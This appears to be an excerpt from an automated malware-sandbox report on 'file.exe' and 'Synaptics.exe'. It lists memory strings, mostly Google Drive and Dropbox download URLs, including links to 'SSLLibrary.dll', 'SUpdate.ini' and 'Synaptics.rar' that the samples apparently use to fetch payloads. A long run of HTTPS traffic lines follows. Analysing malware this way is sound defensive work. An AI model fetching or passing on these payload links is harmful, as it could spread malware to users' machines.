Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw1
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw62a
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw9
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwY
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwidev
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwidth:390px;min-height:180
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwk
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwnloa
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwq)
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D841000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005349000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx-cn.m
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxj
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxp&
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxr
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady
Source: Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyD
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyh
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyn
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyndic
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyo
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyof
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor.5
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz%
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzG
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzi$
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D841000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~8
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~D
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~Z
Source: file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, ~DFF88C652ECE840ED4.TMP.4.dr, Synaptics.exe.0.dr, RCXF93C.tmp.0.dr, ~$cache1.3.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.us
Source: Synaptics.exe, 00000003.00000002.2983654050.000000001C793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.us5
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercok
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercont
Source: Synaptics.exe, 00000003.00000003.2227137753.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Synaptics.exe, 00000003.00000002.2956790720.000000000D919000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/dow
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.000000000533B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGaw
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000007064000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHostdoc
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb3
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw.
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw3
Source: Synaptics.exe, 00000003.00000003.2227137753.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/i
Source: file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=
Source: file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe.0.dr, RCXF93C.tmp.0.dr, ~$cache1.3.dr	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe.0.dr, RCXF93C.tmp.0.dr, ~$cache1.3.dr	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlT
Source: file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, ~DFF88C652ECE840ED4.TMP.4.dr, Synaptics.exe.0.dr, RCXF93C.tmp.0.dr, ~$cache1.3.dr	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50216
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50215
Source: unknown	Network traffic detected: HTTP traffic on port 50254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50217
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50212
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50211
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50214
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50228
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50221
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50222
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50239
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50230
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50235
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50249
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50244
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 443
